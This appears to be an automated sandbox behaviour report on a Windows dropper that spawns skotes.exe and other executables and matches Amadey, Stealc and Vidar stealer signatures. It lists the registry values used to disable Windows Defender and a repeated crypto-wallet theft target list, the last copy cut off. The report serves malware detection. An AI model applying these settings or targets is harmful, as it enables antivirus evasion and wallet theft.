Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CAFB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CAFB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 4328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8a46fa4b5e.exe PID: 8808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8a46fa4b5e.exe PID: 7332, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKJECFHCBKK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKJECFHCBKK.exe "C:\Users\user\DocumentsKJECFHCBKK.exe"
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe "C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe "C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe"

Source: file.exe, file.exe, 00000000.00000002.2667701242.0000000000E74000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: |Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAFB341 cpuid

0_2_6CAFB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAC35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CAC35A0

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.2.DocumentsKJECFHCBKK.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2667251509.0000000000281000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2703329574.0000000000191000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2693682818.0000000000191000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.5942586902.0000000000191000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2667428725.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2873995638.0000000000F11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2873497903.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2995420313.0000000000F11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.2832941948.0000000005160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2955119409.0000000005860000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2114623757.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2667072868.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8a46fa4b5e.exe PID: 8808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8a46fa4b5e.exe PID: 7332, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4328, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2667072868.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session 